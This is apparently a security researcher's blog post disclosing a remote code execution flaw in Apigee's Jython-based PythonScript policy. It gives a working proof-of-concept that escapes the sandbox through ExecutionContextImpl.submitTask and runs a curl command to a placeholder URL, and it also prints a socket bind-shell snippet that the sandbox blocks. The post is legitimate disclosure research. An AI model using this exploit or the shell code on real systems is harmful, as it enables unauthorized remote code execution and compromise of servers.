Breaking the Sandbox

Uncovering a Remote Code Execution Vulnerability in Apigee's PythonScript Policy

One of Apigee’s strengths lies in its flexibility, allowing developers to extend API functionality beyond the out-of-the-box features through custom scripts and code. Among the tools available for customization are the JavaCallout, JavaScript, and PythonScript policies, each offering different capabilities depending on the programming language used.

In my previous post we explored a vulnerability that emerged from the interplay between JavaCallout and JavaScript policies, where objects could be passed between these policies, allowing an attacker to bypass code execution protections. In this post, we’re shifting our focus to the PythonScript policy, which is particularly powerful for developers who prefer Python’s simplicity and versatility.

If you want to reproduce the vulnerability, you can setup a proper environment as described here.

PythonScript Policy Overview

The PythonScript policy in Apigee allows developers to add custom Python code to their API proxy flows. This is particularly useful when the functionality needed goes beyond what Apigee’s built-in policies can offer. Python scripting in Apigee is powered by Jython, an implementation of the Python language written in Java. Specifically, Apigee uses Jython version 2.5.2, which enables Python code to interact seamlessly with Java classes and objects.

However, with great power comes great responsibility. Given that Python can be a very powerful language - its standard library capable of performing file operations, networking tasks, and even executing system commands - it’s crucial to sandbox this environment to prevent any potentially malicious code from escaping its confines. To this end, Apigee enforces Java Permissions within the PythonScript policy to restrict actions that could compromise the security of the platform.

Java Permissions and Sandbox Mechanisms

Java Permissions are a fundamental part of Java’s security model, designed to restrict the actions that a piece of code can perform. In the context of Apigee’s PythonScript policy, these permissions are configured to block dangerous operations such as:

  • Accessing the filesystem: reading, writing, or executing files on the server.
  • Binding cocket listeners: opening network sockets to listen for incoming connections.
  • Executing system commands: running OS-level commands that could be used to take control of the server.

For example, if a developer attempts to bind a socket or execute an OS command within a PythonScript

import socket as s, subprocess as sp
s1 = s.socket(s.AF_INET, s.SOCK_STREAM)
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
s1.bind(("0.0.0.0", 8899))
s1.listen(1)
c, a = s1.accept()
while True:
    d = c.recv(1024).decode()
    p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
    c.sendall(p.stdout.read() + p.stderr.read())

The system will throw a security exception, effectively preventing the action from taking place. This security model is essential for preventing unauthorized code execution and protecting the underlying infrastructure of the Apigee platform.

{
  "fault": {
    "faultstring": "Evaluation of script PY-1.py (py) failed with reason: \"socket.error: (-1, 'Unmapped exception: java.security.AccessControlException: access denied (\"java.net.SocketPermission\" \"localhost:8899\" \"listen,resolve\")')\"",
    "detail": {
      "errorcode": "steps.script.ScriptEvaluationFailed"
    }
  }
}

We can even try something simpler, like running a basic command such as ping:

from java.lang import Runtime


command = "ping 8.8.8.8"
Runtime.getRuntime().exec(command)

But the JVM is here to prevent every piece of malicious code from running:

{
  "fault": {
    "faultstring": "Evaluation of script PY-1.py (py) failed with reason: \"java.security.AccessControlException: java.security.AccessControlException: access denied (\"java.io.FilePermission\" \"<<ALL FILES>>\" \"execute\")\"",
    "detail": {
      "errorcode": "steps.script.ScriptEvaluationFailed"
    }
  }
}

Once again, the Java Security Manager kicks in, denying the script the permission to execute the command, thereby ensuring that potentially harmful operations cannot be carried out within the PythonScript policy.

The Risk of Sandbox Escapes

Despite these security measures, the integration of Jython within Apigee’s Java-based environment introduces potential risks. Jython allows Python code to interact directly with Java classes, which can sometimes lead to unexpected behavior, particularly when it comes to managing and sharing objects between different components of the platform.

This is where sandbox escape vulnerabilities can emerge. If an attacker can find a way to bypass the Java Permissions enforced within the PythonScript policy, they can potentially execute arbitrary code on the server. This could result in anything from unauthorized access to sensitive data, to the complete compromise of the server hosting the Apigee instance.

In the case of the vulnerability I discovered, the issue stems from how the PythonScript policy interacts with Apigee’s internal classes and objects. Specifically, I found that by leveraging Apigee's classes, like MessageContextImpl and ExecutionContextImpl, it’s possible to bypass the sandbox and execute code that would normally be restricted. This discovery opens the door to a range of attacks, including the ability to bind a reverse shell, which could give an attacker full control over the server.

Uncovering the Vulnerability: A Step-by-Step Breakdown

With a clear understanding of the potential risks associated with the PythonScript policy in Apigee, let's delve into the specifics of how this vulnerability can be exploited. This section will walk you through the process of uncovering the sandbox escape vulnerability, detailing the methods used to bypass Java Permissions and execute arbitrary code on the server.

In the Apigee platform, the PythonScript policy allows you to interact with the data flowing through your API proxy using a special object known as flow. This object acts as a gateway to the flow variables within Apigee, enabling you to retrieve, modify, and set data as it moves through different stages of the API request and response cycle.

To get a better understanding of how the flow object works, let’s look at a simple example taken from Apigee docs:

import base64

username = flow.getVariable("request.formparam.client_id")
password = flow.getVariable("request.formparam.client_secret")

base64string = base64.encodestring('%s:%s' % (username, password))[:-1]
authorization = "Basic "+base64string

flow.setVariable("authorizationParam",authorization)

In this example:

  • The flow.getVariable() method is used to retrieve the client_id and client_secret from the incoming request parameters.
  • These values are then encoded using Base64, which is a common method for encoding credentials in basic HTTP authentication.
  • Finally, the encoded string is stored back into the flow using flow.setVariable() under the name authorizationParam.

This example demonstrates the power of the flow object in enabling dynamic data handling within your API proxy. But beyond just setting and getting variables, the flow object represents a more complex structure tied to Apigee’s internal API processing framework.

Exploring the "flow"

While the example above shows how the flow object is typically used, there’s much more to this object than meets the eye. The flow object is actually an instance of the MessageContextImpl class, which is part of Apigee’s internal implementation. This means that, in addition to the basic methods like getVariable() and setVariable(), the flow object has access to a wide array of methods and properties that are not immediately apparent.

If you're as curious as I am about what the flow object can really do, you can explore it directly within your PythonScript. Here’s a simple way to start investigating:

result = '"flow" object type: %s\n' % type(flow)
result += '"flow" object attrs and methods:\n'
for i in dir(flow):
    result += '''%s\n''' % i
flow.setVariable('request.content', result)

This script:

  • Determines the type of the flow object and stores it in a variable.
  • Lists all the attributes and methods available on the object.
  • Stores the collected information in the request.content flow variable, allowing you to inspect it later.

After running this script in a PythonScript policy, you might see an output like this:

"flow" object type: <type 'com.apigee.flow.message.MessageContextImpl'>
"flow" object attrs and methods:
...
__class__
...
getVariable
setVariable
...
getExecutionContext
...

This output shows that the flow object has many methods and attributes beyond the commonly used getVariable and setVariable. Some of these methods, like getExecutionContext, offer deeper access to Apigee's runtime environment, which could be leveraged for more complex and potentially risky operations.

Investigating the getExecutionContext

With the knowledge that the flow object contains a method called getExecutionContext, the next logical step is to explore what this method returns. The getExecutionContext method provides access to the ExecutionContextImpl object, which is a key part of the API execution framework in Apigee.

To explore this object, we can use a similar approach to what we did with the flow object:

execution_context = flow.getExecutionContext()
result = '"execution_context" object type: %s\n' % type(execution_context)
result += '"execution_context" object attrs and methods:\n'
for i in dir(execution_context):
    result += '''%s\n''' % i
flow.setVariable('request.content', result)

Here’s the output we obtained:

"execution_context" object type: <type 'com.apigee.flow.execution.ExecutionContextImpl'>
"execution_context" object attrs and methods:
...
__class__
...
getDebugContext
getFault
...
submitTask
...

Diving Deeper: Investigating the submitTask Method

Among the methods listed in the execution_context, the submitTask method stands out as potentially significant. The next step is to investigate this method further to understand what it accepts as input and what it can do.

Since Jython, the Python implementation used in Apigee, does not fully support Python’s inspect module, we need to use Java reflection to explore the submitTask method and uncover its signature.

execution_context = flow.getExecutionContext()

# Get the class of the execution context
execution_context_class = execution_context.getClass()

# Get all methods
methods = execution_context_class.getMethods()

# Prepare a string to store the results
result = ""

# Iterate through the methods and check for submitTask (as it can be overloaded)
for method in methods:
    if method.getName() == "submitTask":
        result += '"submitTask" method found:\n'
        parameter_types = method.getParameterTypes()
        result += 'Parameter types:\n'
        for param in parameter_types:
            result += '%s\n' % param.getName()

# Store the result in a flow variable for inspection
flow.setVariable('request.content', result)

This script systematically checks the execution_context for the submitTask method and retrieves its parameter types. By storing the results in a flow variable, we can inspect the method's signature and understand what inputs it accepts.

Understanding the submitTask Method’s Signature

After running the script, we obtained the following details about the submitTask method:

"submitTask" method found:
Parameter types:
java.lang.Runnable
com.apigee.flow.execution.Callback
java.lang.Object

"submitTask" method found:
Parameter types:
java.lang.Runnable

This output reveals that there are two overloads of the submitTask method:

  1. First overload:
    1. java.lang.Runnable: a task that can be executed asynchronously.
    2. com.apigee.flow.execution.Callback: a callback interface to handle post-execution logic.
    3. java.lang.Object: an additional parameter that could be used to pass context or other relevant data.
  2. Second overload:
    1. java.lang.Runnable: a simpler overload that only requires the task to be executed.

The presence of these two overloads indicates that submitTask is a versatile method, capable of handling various tasks with different levels of complexity. The Runnable interface is particularly significant because it allows the execution of arbitrary code. If this method is used within the PythonScript policy, it could potentially bypass the usual security constraints and execute tasks outside the sandboxed environment.

Crafting the Exploit: Leveraging submitTask for Code Execution

With the submitTask method’s signature in hand, we can now craft an exploit that leverages the second, simpler overload. This method accepts a Runnable task as its only parameter, allowing us to execute arbitrary code on the server.

Exploit Code: Executing a curl Command

To demonstrate the power and risk associated with the submitTask method, we’ll use it to execute a curl command on the server. The choice of curl is intentional because it’s a common utility used for making HTTP requests, and its execution clearly demonstrates that we can run arbitrary operating system commands from within the Apigee environment.

By running a curl command, we can verify that our code is not just being executed in a controlled, sandboxed environment but is actually capable of interacting with the external world - sending HTTP requests to any specified URL. This capability is critical because it confirms that the submitTask method can bypass the PythonScript policy's sandbox restrictions, effectively leading to RCE.

Here’s how we can use the submitTask method to run a curl command on the server:

from java.lang import Runnable
from java.lang import Runtime

# Define a Runnable class that runs the curl command
class CurlTask(Runnable):
    def run(self):
        # The command to be executed
        command = "curl http://<YOUR_TARGET_URL>"
        
        # Execute the command
        Runtime.getRuntime().exec(command)

# Create an instance of the CurlTask
curl_task = CurlTask()

# Submit the task using the simpler overload of submitTask
execution_context.submitTask(curl_task)

# Optionally, you can store a result message in a flow variable
flow.setVariable('request.content', "Curl command submitted successfully!")

In the script:

  • The CurlTask class implements the Runnable interface. This interface is designed to represent a task that can be executed by a thread. The run() method within this class is where we define the specific actions to be executed - in this case, a curl command. By using curl, we can send a simple HTTP request to a specified URL. This not only shows that the command is executed but also provides a way to confirm that the command was run by observing the request on the receiving end (e.g., a web server or a listener).
  • Inside the run() method, the curl command is defined. You can replace <YOUR_TARGET_URL> with the actual URL you want to target. For instance, you can create and use a Canarytoken to monitor and capture the request triggered by the command execution.
  • The Runtime.getRuntime().exec(command) method is used to execute the curl command. This method is part of Java’s standard library, and it allows us to run any command that the operating system’s shell can execute.
  • An instance of the CurlTask is created and then submitted to the submitTask method. This action triggers the execution of the curl command on the server.

Monitoring the Exploit with Canarytokens

To validate that the exploit is functioning as expected, I used Canarytokens, a tool designed to monitor and alert on unexpected or unauthorized actions. By generating a Canarytoken, I can easily track when the curl command is executed and sends a request to the specified URL.

After setting up the Canarytoken, I sent multiple requests to the proxy to trigger the policy. Each time the policy is executed, it triggers the curl command, which in turn sends a request to the Canarytoken URL. This allows me to monitor and confirm that the exploit is successfully executing commands on the server.

As you can see, the Canarytoken was triggered multiple times, indicating that the curl command was successfully executed on each request, validating the effectiveness of the exploit.

Final Thoughts: Unveiling the Hidden Risks

Apigee is celebrated for its powerful customization options, allowing developers to tailor API behavior to meet specific needs. However, this flexibility also introduces layers of complexity that can obscure potential vulnerabilities. The ability to execute custom code, if not adequately controlled, can open pathways for unauthorized actions that compromise the security of the entire system.

This vulnerability underscores the importance of a deep understanding of the platform’s capabilities and the potential risks they may harbor. It serves as a reminder that, as we extend the functionalities of our tools, we must also extend our vigilance in securing them.

In navigating the evolving landscape of API security, it’s essential to recognize that even the most robust systems have their nuances. This exploration into Apigee’s PythonScript policy is a testament to the need for continuous scrutiny and a thoughtful approach to safeguarding the very tools that empower us.

Breaking the Sandbox
CodeSent, Nikita Markevich August 24, 2024
Share this post
Archive
Discovering Rhino’s Blind Spot
Kicking Off the Apigee Security Series